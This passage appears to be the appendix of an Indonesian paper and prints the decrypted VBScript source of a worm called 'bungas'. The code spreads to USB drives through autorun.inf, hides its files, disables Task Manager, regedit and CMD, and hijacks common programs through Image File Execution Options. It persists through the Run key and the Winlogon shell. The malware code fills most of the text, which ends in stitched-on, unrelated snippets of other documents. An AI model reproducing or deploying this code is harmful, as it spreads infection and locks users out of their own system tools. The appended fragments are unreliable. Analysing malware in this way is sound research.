~"&vbcrlf&"echo ######### ## ## ## ## ######### ########### ######## "&vbcrlf&"echo ########## ## ## ### ## ########### ########### ########## "&vbcrlf&"echo ## ### ## ## #### ## ## ## ## ## ## ## "&vbcrlf&"echo ## ## ## ## ## ## ## ## ## ## ## ## "&vbcrlf&"echo ## ## ## ## ## ## ## ## ## ## ## ## "&vbcrlf&"echo ########## ## ## ## ## ## ## ## ## ## "&vbcrlf&"echo ########### ## ## ## ## ## ## ##### ########### ######### "&vbcrlf&"echo ## ### ## ## ## #### ## ###### ########### ######### "&vbcrlf&"echo ## ## ## ## ## ### ## ## ## ## ## "&vbcrlf&"echo ## ## ## ## ## ## ## ## ## ## ## ## "&vbcrlf&"echo ## ### ## ## ## ## ## ## ## ## ## ## "&vbcrlf&"echo ########### ########### ## ## ########### ## ## ########## "&vbcrlf&"echo ########## ######### ## ## ######### ## ## ######## "&vbcrlf&"echo ~"&vbcrlf&"echo Bungas Operating System[Version 01.06.2007]“&vbcrlf&”echo (C) Copyright 2007-2008 Bungas People Society Corp.”&vbcrlf&”echo ~”&vbcrlf&”pause”

Varians.close Mean.DeleteFile “statistics.bgs” Mean.DeleteFile “Strukdat.bgs” Mean.CopyFile Binomial,temppath&”\bungas.vbs” Mean.CopyFile Binomial,winpath&”\bungas.vbs” Mean.CopyFile temppath&”\Virusmaker.bat”,winpath&”\Virusmaker.bat” set Korelasi = Mean.getfile(winpath&”\bungas.vbs”)

Korelasi.attributes = 39

set Korelasi = Mean.getfile(temppath&”\bungas.vbs”) Korelasi.attributes = 39

set Korelasi = Mean.getfile(winpath&”\Virusmaker.bat”) Korelasi.attributes = 39

set Korelasi = Mean.getfile(temppath&”\Virusmaker.bat”) Korelasi.attributes = 39

(7)

Lampiran 2. Isi file “Molin.bgs” setelah didekripsi

on error resume next

set Gamma=createobject(”Scripting.FileSystemObject”) Gamma.DeleteFile “Molin.bgs” Set Beta=Gamma.GetFile(Wscript.ScriptFullName) inisial = Beta.drive.drivetype Survei=Day(Now())&Month(Now())&Year(Now()) Set temppath=Gamma.getspecialfolder(2) Set winpath=Gamma.getspecialfolder(0) Set CLT=Gamma.CreateTextFile(temppath&”\Virusmaker.bgs”) CLT.writeline “[Autorun]“&vbcrlf&”shell\Properties\command=wscript.exe “&”"”"&Survei&”.vbs”"”&vbcrlf&”shell=Properties” CLT.close Set Pivotal=Gamma.GetFile(temppath&”\Virusmaker.bgs”) Pivotal.attributes =39 do

for each flashdrive in Gamma.drives

If (flashdrive.drivetype = 1) and flashdrive.path <> “A:” then Gamma.copyfile Beta,flashdrive.path &”\”&Survei&”.vbs” set Alpha=Gamma.getfile(flashdrive.path &”\”&Survei&”.vbs”) Alpha.attributes =39

set Alpha=Gamma.getfile(flashdrive.path &”\autorun.inf”) Alpha.attributes =32

Gamma.copyfile Pivotal,flashdrive.path &”\autorun.inf” Alpha.attributes =39

end if next

set Sufficient = createobject(”WScript.Shell”)

Sufficient.RegWrite”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advan ced\ShowSuperHidden”,”0″,”REG_DWORD” Sufficient.RegWrite”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste m\DisableRegistryTools”,”1″,”REG_DWORD” Sufficient.RegWrite”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste m\DisableTaskMgr”,”1″,”REG_DWORD” Sufficient.RegWrite”HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD”,” 2″,”REG_DWORD” Sufficient.regwrite”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\bungas”,te mppath & “\bungas.vbs”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\agentsvr.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe\Debugger”,”Virusmaker.bat”

Sufficient.regwrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Winlogon\Shell”,”Explorer.exe “”"&winpath & “\bungas.vbs”"”

Sufficient.regdelete”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”

if inisial <> 1 then Wscript.sleep 20000 end if

loop while inisial <> 1

set Sensus = createobject(”Wscript.shell”) Sensus.run temppath & “\Virusmaker.bat” set APS = createobject(”Wscript.shell”) APS.run temppath & “\bungas.vbs”

Referensi

Dokumen terkait

Neneng Rohmat Hj... Hasan

Kelainan CVS, SIDS, Endokrin Manajeme n asuhan BBL dengan kelainan Diskusi dan Studi Kasus

memberikan basic militer kepada para pemuda calon Hizbullah juga memberikan motivasi untuk jihad fisabilillah. Para pemuda yang telah tergabung dalam Laskar Hizbullah kemudian

Soekarno menegaskan bahwa jika agama Islam ingin mengemukakan tuntutan-tuntutan islam ke dalam Negara Indonesia, Dewan Perwakilan Rakyat ini adalah sarana yang

mengenai kepadatan populasi larva kumbang tanduk (O. rhinoceros L.) pada kayu lapuk bekas tebangan kelapa sawit di Kenagarian Koto Baru Kecamatan Luhak Nan Duo

Untuk mengetahui keadaan cuaca yang lebih rinci pada saat terjadinya gerhana matahari tanggal 9 Maret 2016 dapat dilakukan dengan menggunakan informasi prakiraan model NWP yang dapat

0awaban: Kasus ini meru!akan %amily brandin#, strate#i !emasaran yan# *o*ok adalah den#an men##unakan !romosi besar&amp;besaran a#ar da!at menem!atkan !roduk luwak  white

Penelitian ini tergolong sebagai penelitian penelitian lapangan (field research), dengan pendekatan kualitatif yang berarti bukan berupa angka-angka, data diperoleh